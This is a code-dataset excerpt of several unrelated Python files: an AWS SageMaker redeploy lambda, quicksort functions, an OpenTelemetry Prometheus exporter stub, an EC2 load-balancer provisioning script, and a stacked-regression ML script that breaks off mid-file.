get_endpoint_config(prefix):\n print(\"getting endpoint config for %s\" % prefix)\n e_configs = SM_CLIENT.list_endpoint_configs(NameContains=prefix,\n SortBy=\"CreationTime\",\n SortOrder=\"Descending\",\n MaxResults=1)\n return SM_CLIENT.describe_endpoint_config(EndpointConfigName=e_configs[\"EndpointConfigs\"][0])\n\n\ndef create_endpoint_config(prev_config, model_config, endpoint_prefix):\n print(\"creating new endpoint config\")\n ec_name = \"%s-config-%s\" % (endpoint_prefix, datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\"))\n SM_CLIENT.create_endpoint_config(EndpointConfigName=ec_name,\n ProductionVariants=[\n {\n \"InitialInstanceCount\": prev_config[\"ProductionVariants\"][0][\"InitialInstanceCount\"],\n \"InstanceType\": prev_config[\"ProductionVariants\"][0][\"InstanceType\"],\n \"ModelName\": model_config[\"ModelName\"],\n \"VariantName\": prev_config[\"ProductionVariants\"][0][\"VariantName\"],\n \"InitialVariantWeight\": prev_config[\"ProductionVariants\"][0][\"InitialVariantWeight\"]\n }\n ])\n return ec_name\n\n\ndef get_endpoint(prefix):\n print(\"getting endpoint with prefix %s\" % prefix)\n results = SM_CLIENT.list_endpoints(NameContains=prefix,\n SortBy=\"CreationTime\",\n SortOrder=\"Descending\",\n MaxResults=1)\n return results[\"Endpoints\"][0]\n\n\ndef update_endpoint(endpoint, config_name):\n print(\"updating endpoint\")\n return SM_CLIENT.update_endpoint(EndpointConfigName=config_name,\n Endpoint=endpoint[\"EndpointName\"])\n\n\ndef lambda_handler(event, context):\n print(\"deploy started\")\n\n bucket = event[\"Records\"][0][\"s3\"][\"bucket\"][\"name\"]\n key = event[\"Records\"][0][\"s3\"][\"object\"][\"key\"]\n\n if not key.startswith(MODEL_PREFIX):\n return {\n \"statusCode\": 400,\n \"body\": \"Not processing new file %s in bucket %s\" % (key, bucket)\n }\n\n model_url = \"s3://%s/%s\" % (bucket, key)\n name = get_model_name(MODEL_PREFIX)\n model_config = get_model_config(name)\n create_model(MODEL_PREFIX, model_url, model_config)\n endpoint_config = get_endpoint_config(ENDPOINT_PREFIX)\n new_endpoint_config_name = create_endpoint_config(endpoint_config, model_config, ENDPOINT_PREFIX)\n endpoint = get_endpoint(ENDPOINT_PREFIX)\n endpoint_arn = update_endpoint(endpoint, new_endpoint_config_name)\n print(\"endpoint_arn: %s\" % endpoint_arn)\n return {\n \"statusCode\": 200,\n \"body\": json.dumps({\n \"endpoint_arn\": endpoint_arn\n }),\n }\n","sub_path":"deploy/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":4473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"598957404","text":"# 非原地排序,时间复杂度nlogn,空间复杂度nlogn\ndef quick_sort(arr):\n if len(arr) < 2:\n return arr\n pivot = arr[0]\n left, right = [], []\n arr.remove(pivot)\n for item in arr:\n if item >= pivot:\n right.append(item)\n else:\n left.append(item)\n return quick_sort(left) + [pivot] + quick_sort(right)\n\n# 原地排序,时间复杂度nlogn,空间复杂度logn\ndef quick_sort1(arr, start, end):\n if start > end:\n return\n pivot = arr[start]\n i, j = start, end\n while i < j:\n while i < j and arr[j] >= pivot:\n j -= 1\n while i < j and arr[i] <= pivot:\n i += 1\n arr[i], arr[j] = arr[j], arr[i]\n\n arr[start], arr[i] = arr[i], arr[start]\n quick_sort1(arr, start, i-1)\n quick_sort1(arr, i+1, end)\n \na = [3,5,1,2,4,6,7,12,6,32,8,9,] \nquick_sort1(a, 0, len(a)-1)\nprint(a)\n","sub_path":"sort_quick_sort.py","file_name":"sort_quick_sort.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"152009633","text":"# Copyright The OpenTelemetry Authors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom typing import Dict, Sequence\n\nfrom opentelemetry.exporter.prometheus_remote_write.gen.types_pb2 import (\n Label,\n Sample,\n TimeSeries,\n)\nfrom opentelemetry.sdk.metrics.export import (\n ExportRecord,\n MetricsExporter,\n MetricsExportResult,\n)\n\n\nclass PrometheusRemoteWriteMetricsExporter(MetricsExporter):\n \"\"\"\n Prometheus remote write metric exporter for OpenTelemetry.\n\n Args:\n endpoint: url where data will be sent (Required)\n basic_auth: username and password for authentication (Optional)\n headers: additional headers for remote write request (Optional)\n timeout: timeout for requests to the remote write endpoint in seconds (Optional)\n proxies: dict mapping request proxy protocols to proxy urls (Optional)\n tls_config: configuration for remote write TLS settings (Optional)\n \"\"\"\n\n def __init__(\n self,\n endpoint: str,\n basic_auth: Dict = None,\n headers: Dict = None,\n timeout: int = 30,\n tls_config: Dict = None,\n proxies: Dict = None,\n ):\n self.endpoint = endpoint\n self.basic_auth = basic_auth\n self.headers = headers\n self.timeout = timeout\n self.tls_config = tls_config\n self.proxies = proxies\n\n @property\n def endpoint(self):\n return self._endpoint\n\n @endpoint.setter\n def endpoint(self, endpoint: str):\n if endpoint == \"\":\n raise ValueError(\"endpoint required\")\n self._endpoint = endpoint\n\n @property\n def basic_auth(self):\n return self._basic_auth\n\n @basic_auth.setter\n def basic_auth(self, basic_auth: Dict):\n if basic_auth:\n if \"username\" not in basic_auth:\n raise ValueError(\"username required in basic_auth\")\n if (\n \"password\" not in basic_auth\n and \"password_file\" not in basic_auth\n ):\n raise ValueError(\"password required in basic_auth\")\n if \"password\" in basic_auth and \"password_file\" in basic_auth:\n raise ValueError(\n \"basic_auth cannot contain password and password_file\"\n )\n self._basic_auth = basic_auth\n\n @property\n def timeout(self):\n return self._timeout\n\n @timeout.setter\n def timeout(self, timeout: int):\n if timeout <= 0:\n raise ValueError(\"timeout must be greater than 0\")\n self._timeout = timeout\n\n @property\n def tls_config(self):\n return self._tls_config\n\n @tls_config.setter\n def tls_config(self, tls_config: Dict):\n if tls_config:\n new_config = {}\n if \"ca_file\" in tls_config:\n new_config[\"ca_file\"] = tls_config[\"ca_file\"]\n if \"cert_file\" in tls_config and \"key_file\" in tls_config:\n new_config[\"cert_file\"] = tls_config[\"cert_file\"]\n new_config[\"key_file\"] = tls_config[\"key_file\"]\n elif \"cert_file\" in tls_config or \"key_file\" in tls_config:\n raise ValueError(\n \"tls_config requires both cert_file and key_file\"\n )\n if \"insecure_skip_verify\" in tls_config:\n new_config[\"insecure_skip_verify\"] = tls_config[\n \"insecure_skip_verify\"\n ]\n self._tls_config = tls_config\n\n @property\n def proxies(self):\n return self._proxies\n\n @proxies.setter\n def proxies(self, proxies: Dict):\n self._proxies = proxies\n\n @property\n def headers(self):\n return self._headers\n\n @headers.setter\n def headers(self, headers: Dict):\n self._headers = headers\n\n def export(\n self, export_records: Sequence[ExportRecord]\n ) -> MetricsExportResult:\n raise NotImplementedError()\n\n def shutdown(self) -> None:\n raise NotImplementedError()\n\n def convert_to_timeseries(\n self, export_records: Sequence[ExportRecord]\n ) -> Sequence[TimeSeries]:\n raise NotImplementedError()\n\n def convert_from_sum(self, sum_record: ExportRecord) -> TimeSeries:\n raise NotImplementedError()\n\n def convert_from_min_max_sum_count(\n self, min_max_sum_count_record: ExportRecord\n ) -> TimeSeries:\n raise NotImplementedError()\n\n def convert_from_histogram(\n self, histogram_record: ExportRecord\n ) -> TimeSeries:\n raise NotImplementedError()\n\n def convert_from_last_value(\n self, last_value_record: ExportRecord\n ) -> TimeSeries:\n raise NotImplementedError()\n\n def convert_from_value_observer(\n self, value_observer_record: ExportRecord\n ) -> TimeSeries:\n raise NotImplementedError()\n\n def convert_from_quantile(\n self, summary_record: ExportRecord\n ) -> TimeSeries:\n raise NotImplementedError()\n\n # pylint: disable=no-member\n def create_timeseries(\n self, export_record: ExportRecord, name, value: float\n ) -> TimeSeries:\n raise NotImplementedError()\n\n def create_sample(self, timestamp: int, value: float) -> Sample:\n raise NotImplementedError()\n\n def create_label(self, name: str, value: str) -> Label:\n raise NotImplementedError()\n\n def build_message(self, timeseries: Sequence[TimeSeries]) -> bytes:\n raise NotImplementedError()\n\n def get_headers(self) -> Dict:\n raise NotImplementedError()\n\n def send_message(\n self, message: bytes, headers: Dict\n ) -> MetricsExportResult:\n raise NotImplementedError()\n","sub_path":"exporter/opentelemetry-exporter-prometheus-remote-write/src/opentelemetry/exporter/prometheus_remote_write/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"120296417","text":"import App\nimport Tactical.LensFlares\n\ndef Initialize(pSet):\n\n\t# Sun1\n\tpSun = App.Sun_Create(6500.0, 8000, 8500, \"data/Textures/SunRed.tga\", \"data/Textures/Effects/SunFlaresRed.tga\")\n\tpSet.AddObjectToSet(pSun, \"Sun\")\n\t\n\t# Place the object at the specified location.\n\tpSun.PlaceObjectByName( \"Sun\" )\n\tpSun.UpdateNodeOnly()\n\n\t# Builds a White lens flare for this sun\n\tTactical.LensFlares.RedOrangeLensFlare(pSet, pSun)\n\n\t# Sun2\n\tpSun2 = App.Sun_Create(120.0, 150, 500, \"data/Textures/SunWhite.tga\", \"data/Textures/Effects/SunFlaresWhite.tga\")\n\tpSet.AddObjectToSet(pSun2, \"Sun2\")\n\t\n\t# Place the object at the specified location.\n\tpSun2.PlaceObjectByName( \"Sun2\" )\n\tpSun2.UpdateNodeOnly()\n\n\t# Builds a White lens flare for this sun\n\tTactical.LensFlares.WhiteLensFlare(pSet, pSun2)\n\n\t# Sun3\n\tpSun3 = App.Sun_Create(90.0, 120, 200, \"data/Textures/SunBlack.tga\", \"data/Textures/Effects/SunFlaresBlack.tga\")\n\tpSet.AddObjectToSet(pSun3, \"Sun3\")\n\t\n\t# Place the object at the specified location.\n\tpSun3.PlaceObjectByName( \"Sun3\" )\n\tpSun3.UpdateNodeOnly()\n\n\t# Builds a Black lens flare for Sun 3\n\tTactical.LensFlares.BlackFlares(pSet, pSun3)","sub_path":"scripts/Systems/RedGiant/RedGiant1_S.py","file_name":"RedGiant1_S.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"486991646","text":"import os\nimport pickle\nimport sys\nimport shutil\n\nresults_main = '/projects/pathology_char/pathology_char_results/mesothelioma/results'\n\ndef fix_case_split(run_id):\n pt_split_path = os.path.join(results_main, run_id, 'case_split.pkl')\n copy_path = os.path.join(results_main, run_id, 'COPY_case_split.pkl')\n shutil.copy(pt_split_path, copy_path)\n\n with open(pt_split_path, 'rb') as f:\n split = pickle.load(f)\n\n for run in split.keys():\n for mode in split[run].keys():\n split[run][mode] = ['MM_sarc_VR14_88' if x == 'MM_sarc_VR1488_A4' else\n x for x in split[run][mode]]\n\n with open(pt_split_path, 'wb') as f:\n pickle.dump(split, f, protocol=pickle.DEFAULT_PROTOCOL)\n\n\ndef fix_image_split(run_id):\n img_split_path = os.path.join(results_main, run_id, 'img_split.pkl')\n copy_path = os.path.join(results_main, run_id, 'COPY_case_split.pkl')\n shutil.copy(img_split_path, copy_path)\n\n with open(img_split_path, 'rb') as f:\n split = pickle.load(f)\n for run in split.keys():\n for mode in split[run].keys():\n for item in split[run][mode]:\n if 'VR1488' in item:\n print(item)\n\n #with open(img_split_path, 'wb') as f:\n # pickle.dump(split, f, protocol=pickle.DEFAULT_PROTOCOL)\n\n\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n run_ids = sys.argv[1:]\n else:\n run_ids = []\n \n for run_id in run_ids: \n print(run_id)\n fix_case_split(run_id)\n fix_image_split(run_id)\n","sub_path":"scripts/utils/fix_split.py","file_name":"fix_split.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"16228382","text":"from math import pow\n\ndef saving(years,rate):\n\treturn ( pow(1+rate, years) -1 )/rate\n\nprint(saving(30,0.07))\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nyears = range(1,50,10)\nrates = np.linspace(0.01, 0.12, 0.01)\n\nreturns = [savings(year, rate) for year, rate in zip(years,rates)]\n\nfor ret in returns:\n\tplt.plot(ret)\n\nplt.show('hold')","sub_path":"scripts/finance.py","file_name":"finance.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"475114567","text":"#!/usr/bin/env\n# -*- coding: utf-8 -*-\n\nimport boto3\nimport sys\nfrom random import randint\nfrom flask import Flask,request,render_template, Response\nimport requests\nimport json\nfrom pprint import pprint\nimport threading\nimport os\n\n\n\ns3 = boto3.resource('s3')\nec2_ = boto3.resource('ec2',region_name='us-east-1')#,aws_access_key_id=ACCESS_KEY, aws_secret_access_key=SECRET_KEY)\nec2 = boto3.client('ec2',region_name='us-east-1')#,aws_access_key_id=ACCESS_KEY, aws_secret_access_key=SECRET_KEY) \nclient = ec2\nlista_ips = []\nip_dic = {}\nloadbalancer = []\nagregadora = []\nlista_ids = []\n\n\n\napp = Flask(__name__)\n\n@app.route('/', defaults={'path': ''})\n@app.route('/')\ndef catch_all(path):\n\n\tif request.method == 'POST':\n\n\t\ttry:\n\n\t\t\tjson = request.get_json()\n\t\t\tres = requests.post(server_addr, json=json)\n\n\t\t\treturn res.text\n\n\t\texcept:\n\n\t\t \tprint(\"POST ERROR\")\n\n\telse:\n\n\t\ttry:\t\n\t\t\tr = requests.get(server_addr)\n\t\t\treturn r.text\n\t\texcept:\n\n\t\t\tprint(\"GET ERROR\")\n\n\t\t\treturn \"ERROR GET /Tarefa\"\n### Apagando uma key pair\n\ntry: \n\n\tresponse = ec2.delete_key_pair(\n KeyName = 'antonio2',\n DryRun = False\n\t)\n\nexcept Exception as e:\n print(e)\n print(\"Chave nao existe\")\n\n# ### Criando uma key pair\n\ntry:\n\n\tfile = open('antonio2.pub','r')\n\n\tresponse = ec2.import_key_pair(\n KeyName = 'antonio2',\n DryRun = False,\n PublicKeyMaterial=file.read()\n\t)\n\tfile.close()\n\nexcept Exception as e:\n\n\tprint (\"Erro ao importar chave\")\n\tprint(e)\n\n\tresponse = client.describe_key_pairs(\n\t \n\t KeyNames=[\n\n\t 'antonio2',\n\t ],\n\t DryRun=False\n\t)\n\n### Apagando um security grup\n\ntry:\n\n\tresponse = client.delete_security_group(\n\t GroupName='APS',\n\t GroupId='sg-0e7c5c438430609d2',\n\t DryRun=False\n\t)\n\nexcept Exception as e:\n\tprint(\"Erro ao apagar grupo de seguranca\")\n\tprint(e)\n\n\n### Criando um security grup\n\n\ntry:\n\n\tresponse = client.create_security_group(\n Description='APS Criacao',\n GroupName='APS',\n VpcId='vpc-219b565b',\n DryRun=False\n\t)\n\n\tec2.authorize_security_group_ingress(\n\tGroupId=response['GroupId'],\n\tIpProtocol=\"tcp\",\n\tCidrIp=\"0.0.0.0/0\",\n\tFromPort=22,\n\tToPort=22\n\t)\n\n\tec2.authorize_security_group_ingress(\n\tGroupId=response['GroupId'],\n\tIpProtocol=\"tcp\",\n\tCidrIp=\"0.0.0.0/0\",\n\tFromPort=5000,\n\tToPort=5000\n\t)\n\tec2.authorize_security_group_ingress(\n\tGroupId=response['GroupId'],\n\tIpProtocol=\"tcp\",\n\tCidrIp=\"0.0.0.0/0\",\n\tFromPort=80,\n\tToPort=80\n\t)\n\t\n\n\nexcept Exception as e:\n\n\tprint(\"Erro ao criar grupo de seguranca\")\n\tprint(e)\n\n\n## Criando uma instancia Ubuntu 18\n\n# https://gist.github.com/ableasdale/8cb7a61cad3202e09bab3e11c4639133 - melhor git ensinando a pegar atributos da instancia da história\n\ndef criarInstancia(user_data,numero,tag):\n\n\tfor i in range (0,numero):\n\n\t\ttry:\n\n\n\t\t\tinstance = ec2_.create_instances(\n\t\t\t#sudo apt-get install -y \n\t\t\t ImageId='ami-0ac019f4fcb7cb7e6',\n\t\t\t MinCount=1,\n\t\t\t MaxCount=1,\n\t\t\t KeyName='antonio2',\n\t\t\t InstanceType='t2.micro',\n\t\t\t UserData=user_data,\n\t\t\t TagSpecifications=[\n\t\t {\n\t\t 'ResourceType': 'instance',\n\t\t 'Tags': [\n\t\t {\n\t\t 'Key': tag,\n\t\t 'Value': \"Antonio\"\n\t\t },\n\t\t ]\n\t\t },\n\t\t ],\n\t\t\t SecurityGroupIds=[response['GroupId']])\n\n\t\t\tid_ = str(instance[0].id)\n\n\t\t\tlista_ids.append(id_)\n\n\t\t\t# Wait for the instance to enter the running state\n\n\t\t\tprint(\"Esperando rodar\")\n\n\t\t\tinstance = instance[0]\n\n\t\t\tinstance.wait_until_running()\n\n\t\t\t# Reload the instance attributes\n\t\t\tinstance.load()\n\n\t\t\ttry:\n\n\t\t\t\tip_dic[instance.instance_id] = instance.public_ip_address\n\n\t\t\texcept:\n\n\t\t\t\tprint(\"Não deu para inserir no dic\")\n\n\t\texcept Exception as e:\n\n\t\t\tprint(\"Erro para criar uma instancia\")\n\t\t\tprint(e)\n\n\nuser_data_load = \"\"\"#!/bin/bash\n\tcd home\n\tcd ubuntu\n\tsudo apt -y update\n\tsudo apt install snapd\n\tsudo apt install -y python-pip \n\tgit clone https://github.com/antoniosigrist/CloudAPS.git\n\tpip install boto3\n\tpip install Flask\n\tpip install requests\n\tcd CloudAPS/\n\texport FLASK_APP=loadbalancer.py\n\tpython -m flask run --host=0.0.0.0\"\"\"\n\nuser_data_agreg = \"\"\"#!/bin/bash\n\tcd home\n\tcd ubuntu\n\tsudo apt -y update\n\tsudo apt install snapd\n\tsudo apt install -y python-pip \n\tgit clone https://github.com/antoniosigrist/CloudAPS.git\n\tpip install boto3\n\tpip install Flask\n\tpip install requests\n\tcd CloudAPS/\n\texport FLASK_APP=WebServer.py\n\tpython -m flask run --host=0.0.0.0\"\"\"\n\ncriarInstancia(user_data_load,1,\"Owner\")\n\nfor i in ip_dic:\n\n\tloadbalancer.append(i)\n\tloadbalancer.append(ip_dic[i])\n\ncriarInstancia(user_data_agreg,1,\"Agregadora\")\n\nfor i in ip_dic:\n\n\tif i != loadbalancer[0]:\n\t\tagregadora.append(i)\n\t\tagregadora.append(ip_dic[i])\n\nprint(\"IP Agregadora: \"+agregadora[1])\n\n\n\ndef checkhealth(ip_dic,agregadora,loadbalancer):\n\n\tuser_data = \"\"\"#!/bin/bash\n\tcd home\n\tcd ubuntu\n\tsudo apt -y update\n\tsudo apt install snapd\n\tsudo apt install -y python-pip \n\tgit clone https://github.com/antoniosigrist/CloudAPS.git\n\tpip install boto3\n\tpip install Flask\n\tpip install requests\n\tcd CloudAPS/\n\texport FLASK_APP=catchall.py \n\texport DB_HOST={0}\n\tpython -m flask run --host=0.0.0.0\"\"\".format(str(agregadora[1]))\n\n\tlista_ips_excluidos = []\n\n\twhile(1):\n\n\t\tipsativos = -2\n\t\tlista_ips = []\n\t\t\n\n\t\tfor instance in ec2_.instances.all():\n\n\t\t\tif instance.instance_id in ip_dic and instance.state['Name'] != 'running':\n\n\t\t\t\tprint (\"IP Excluido \"+str(instance.public_ip_address))\n\n\t\t\t\tlista_ips_excluidos.append(instance.public_ip_address)\n\n\t\t\t\tip_dic[instance] = False\n\n\t\t\t\tprint (\"ip_dic pos none\")\n\n\t\t\t\tprint (ip_dic)\n\n\t\t\tif instance.state['Name'] == 'running':\n\n\t\t\t\tipsativos += 1\n\n\n\t\twhile ipsativos < 3:\n\n\t\t\tcriarInstancia(user_data,1, \"Owner2\")\n\t\t\tipsativos += 1\n\n\t\trandom_number = randint(0,len(ip_dic)-1)\n\t\tprint (\"ip_dic fora\")\n\t\tprint (ip_dic)\n\n\t\tfor i in ip_dic:\n\n\t\t\tif ip_dic[i] != False:\n\n\t\t\t\tlista_ips.append(ip_dic[i])\n\n\t\tfor i in lista_ips:\n\n\t\t\tif i in lista_ips_excluidos:\n\n\t\t\t\tlista_ips.remove(i)\n\n\t\trandom_number = randint(0,len(lista_ips)-1)\n\t\trandom_ip = lista_ips[random_number]\n\n\t\tprint(\"Lista de Ips disponiveis: \")\n\t\tprint(lista_ips)\n\n\t\ttry:\n\n\t\t\tlista_ips.remove(agregadora[1])\n\t\t\tlista_ips.remove(loadbalancer[1])\n\n\t\texcept:\n\n\t\t\tprint(\"Não apagou ips load e agreg da lista de ips\")\n\n\t\twhile random_ip == loadbalancer[1] or random_ip == agregadora[1]:\n\n\t\t\ttry:\n\t\t\t\tprint(\"len lista ips\")\n\t\t\t\trandom_number = randint(0,len(lista_ips)-1)\n\t\t\t\tprint(random_number)\n\t\t\t\trandom_ip = lista_ips[random_number]\n\n\t\t\texcept:\n\t\t\t\tprint(\"Loop Infinito\")\n\n\n\t\tserver_addr = \"http://\"+random_ip+\":5000/\"\n\n\t\tprint(\"Fazer requisições para o endereço: http://\"+str(loadbalancer[1])+\":5000/\\n\")\n\t\tprint(\"IPs disponíveis: \")\n\t\tprint(lista_ips)\n\t\tprint(\"Conferir os resultados em: http://\"+str(agregadora[1])+\":5000/\\n\")\n\n\nthreading.Thread(target=checkhealth,args = [ip_dic,agregadora,loadbalancer]).start()\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)\n\n\n\n\n\n\n\n","sub_path":"loadbalancer.py","file_name":"loadbalancer.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"20800664","text":"from logging import StreamHandler, DEBUG, Formatter, FileHandler, getLogger\nfrom functools import partial\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import KFold, ParameterGrid\nfrom sklearn.metrics import mean_squared_error\n\nfrom sklearn.kernel_ridge import KernelRidge\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.neural_network import MLPRegressor\nfrom catboost import CatBoostRegressor\nimport xgboost as xgb\nimport lightgbm as lgb\n\nfrom tqdm import tqdm\nfrom hyperopt import fmin, tpe, hp, STATUS_OK, Trials, space_eval\n\nfrom load_data import load_train_data, load_test_data\n\nlogger = getLogger(__name__)\n\nDIR = 'result_tmp/'\nSAMPLE_SUBMIT_FILE = '../data/sample_submission.csv'\n\n\nclass MetaFeatures(object):\n\n def __init__(self, generalizers, n_splits=5):\n self.generalizers = generalizers\n self.cv = KFold(n_splits=n_splits, shuffle=True, random_state=0)\n\n def guess_metafeatures_with_partition(self, X_train, y_train):\n self.X_train = X_train\n self.y_train = y_train\n\n pred = np.array([self._guess_metafeatures_with_partition(generalizer) for generalizer in self.generalizers])\n\n return np.transpose(pred)\n\n def _guess_metafeatures_with_partition(self, generalizer):\n pred = np.empty_like(self.y_train)\n\n for train_idx, valid_idx in self.cv.split(self.X_train, self.y_train):\n trn_X = self.X_train.iloc[train_idx, :]\n val_X = self.X_train.iloc[valid_idx, :]\n\n trn_y = self.y_train[train_idx]\n val_y = self.y_train[valid_idx]\n\n generalizer.fit(trn_X, trn_y)\n pred_tmp = generalizer.predict(val_X)\n\n pred[valid_idx] = pred_tmp\n\n return pred\n\n def guess_metafeatures_with_whole(self, X_test):\n self.X_test = X_test\n\n pred = np.array([self._guess_metafeatures_with_whole(generalizer) for generalizer in self.generalizers])\n\n return np.transpose(pred)\n\n def _guess_metafeatures_with_whole(self, generalizer):\n generalizer.fit(self.X_train, self.y_train)\n pred = generalizer.predict(self.X_test)\n return pred\n\n\ndef loss(params, X_train, y_train, cv):\n list_loss = []\n list_best_iterations = []\n\n for train_idx, valid_idx in cv.split(X_train, y_train):\n trn_X = X_train.iloc[train_idx, :]\n val_X = X_train.iloc[valid_idx, :]\n\n trn_y = y_train[train_idx]\n val_y = y_train[valid_idx]\n\n model = lgb.LGBMRegressor(**params)\n model.fit(trn_X, trn_y,\n eval_set=[(val_X, val_y)],\n eval_metric='l2',\n early_stopping_rounds=10,\n verbose=False)\n pred = model.predict(val_X, num_iteration=model.best_iteration_)\n loss = np.sqrt(mean_squared_error(val_y, pred))\n\n list_loss.append(loss)\n list_best_iterations.append(model.best_iteration_)\n logger.debug(' RMSE: {}'.format(loss))\n\n params['n_estimators'] = int(np.mean(list_best_iterations))\n loss = np.mean(list_loss)\n\n logger.debug('params: {}'.format(params))\n logger.debug('RMSE: {}'.format(loss))\n\n return {'loss': loss, 'status': STATUS_OK}\n\n\ndef run(space, max_evals, generalizers, X_train, y_train, X_test, n_splits=5):\n mf = MetaFeatures(generalizers, n_splits)\n X_meta_train = mf.guess_metafeatures_with_partition(X_train, y_train)\n X_meta_test = mf.guess_metafeatures_with_whole(X_test)\n\n for i in range(X_meta_train.shape[1]):\n loss_rmse = np.sqrt(mean_squared_error(y_train, X_meta_train[:, i]))\n logger.info(' meta feature RMSE: {}'.format(loss_rmse))\n\n cv = KFold(n_splits=n_splits, shuffle=True, random_state=0)\n\n trials = Trials()\n loss_partial = partial(loss, X_train=X_train, y_train=y_train, cv=cv)\n best = fmin(loss_partial, space, algo=tpe.suggest, trials=trials, max_evals=max_evals)\n best_params = space_eval(space, best)\n best_loss = loss_partial(best_params)['loss']\n\n logger.info('argmin RMSE: {}'.format(best_params))\n logger.info('minimum RMSE: {}'.format(best_loss))\n\n model = lgb.LGBMRegressor(**best_params)\n model.fit(X_meta_train, y_train)\n\n pred = model.predict(X_meta_test)\n\n importances = model.feature_importances_\n logger.info('Feature Importances: {}'.format(importances))\n logger.info('n_features: {}'.format(model.n_features_))\n\n return pred, best_loss, best_params\n\n\nif __name__ == '__main__':\n log_fmt = Formatter('%(asctime)s %(name)s %(lineno)d [%(levelname)s][%(funcName)s] %(message)s ')\n handler = StreamHandler()\n handler.setLevel('INFO')\n handler.setFormatter(log_fmt)\n logger.addHandler(handler)\n\n handler = FileHandler(DIR + 'train_stacked_generalization.py.log', 'a')\n handler.setLevel(DEBUG)\n handler.setFormatter(log_fmt)\n logger.setLevel(DEBUG)\n logger.addHandler(handler)\n\n logger.info('start')\n\n df_train_fe = load_train_data(is_bg=False)\n df_train_bg = load_train_data(is_bg=True)\n X_train_fe = df_train_fe.drop(['id', 'formation_energy_ev_natom', 'bandgap_energy_ev'], axis=1)\n X_train_bg = df_train_bg.drop(['id', 'formation_energy_ev_natom', 'bandgap_energy_ev'], axis=1)\n y_fe_train = np.log1p(df_train_fe['formation_energy_ev_natom'].values)\n y_bg_train = np.log1p(df_train_bg['bandgap_energy_ev'].values)\n\n logger.info('data preparation end {}'.format(X_train_fe.shape))\n\n df_test_fe = load_test_data(is_bg=False)\n df_test_bg = load_test_data(is_bg=True)\n X_test_fe = df_test_fe.sort_values('id')\n X_test_bg = df_test_bg.sort_values('id')\n X_test_fe.drop(['id'], axis=1, inplace=True)\n X_test_bg.drop(['id'], axis=1, inplace=True)\n\n logger.info('test data load end {}'.format(X_test_fe.shape))\n\n space = {\n # controling complexity parameters\n 'max_depth': hp.choice('max_depth', np.arange(2, 11)),\n 'num_leaves': hp.choice('num_leaves', np.arange(8, 128, 8)),\n 'min_child_samples': hp.choice('min_child_samples', np.arange(8, 128, 8)), # min_data_in_leaf\n 'max_bin': hp.choice('max_bin', np.arange(128, 512, 8)),\n 'subsample': hp.quniform('subsample', 0.5, 1.0, 0.1), # bagging_fraction\n 'colsample_bytree': hp.quniform('colsample_bytree', 0.5, 1., 0.1), # feature_fraction\n 'reg_alpha': hp.quniform('reg_alpha', 0, 1., 0.1),\n 'reg_lambda': hp.quniform('reg_lambda', 0, 1., 0.1),\n\n 'learning_rate': hp.quniform('learning_rate', 0.05, 0.1, 0.01),\n 'boosting_type': hp.choice('boosting_type', ['gbdt', 'dart']),\n\n # fixed\n 'n_estimators': 1000,\n 'random_state': 0,\n 'n_jobs': 8,\n 'silent': False,\n 'application': 'regression_l2'\n }\n\n # max_evals = 300\n max_evals = 1\n\n generalizers_fe = [\n KernelRidge(alpha=0.01, gamma=0.001, kernel='laplacian'),\n RandomForestRegressor(criterion='mse',\n max_depth=17,\n max_features='auto',\n min_samples_split=1e-6,\n n_estimators=120,\n n_jobs=-1,\n random_state=0),\n KNeighborsRegressor(algorithm='auto',\n leaf_size=5,\n n_jobs=-1,\n n_neighbors=5,\n p=1,\n weights='distance'),\n MLPRegressor(activation='relu',\n alpha=1e-4,\n batch_size=2,\n epsilon=1e-8,\n hidden_layer_sizes=(16, 16, 16),\n learning_rate='constant',\n learning_rate_init=1e-3,\n max_iter=200,\n random_state=0,\n shuffle=True,\n solver='adam',\n tol=1e-4,\n verbose=False,\n warm_start=False),\n xgb.XGBRegressor(colsample_bylevel=0.9,\n colsample_bytree=0.7,\n gamma=0.0,\n max_depth=8,\n min_child_weight=7,\n reg_alpha=0.1,\n reg_lambda=0.3,\n subsample=0.8,\n learning_rate=0.1,\n booster='dart',\n n_estimators=229,\n silent='True',\n n_jobs=-1,\n random_state=0,\n objective='reg:linear'),\n CatBoostRegressor(depth=3,\n eval_metric='RMSE',\n iterations=850,\n l2_leaf_reg=0.7,\n learning_rate=0.1,\n logging_level='Silent',\n loss_function='RMSE',\n od_type='Iter',\n od_wait=50,\n random_seed=0,\n thread_count=8),\n lgb.LGBMRegressor(boosting_type='gbdt',\n colsample_bytree=0.6,\n learning_rate=0.05,\n max_bin=160,\n max_depth=10,\n min_child_samples=16,\n n_estimators=162,\n n_jobs=8,\n num_leaves=60,\n random_state=0,\n reg_alpha=0.0,\n reg_lambda=0.5,\n silent=True,\n subsample=0.7),\n ]\n\n 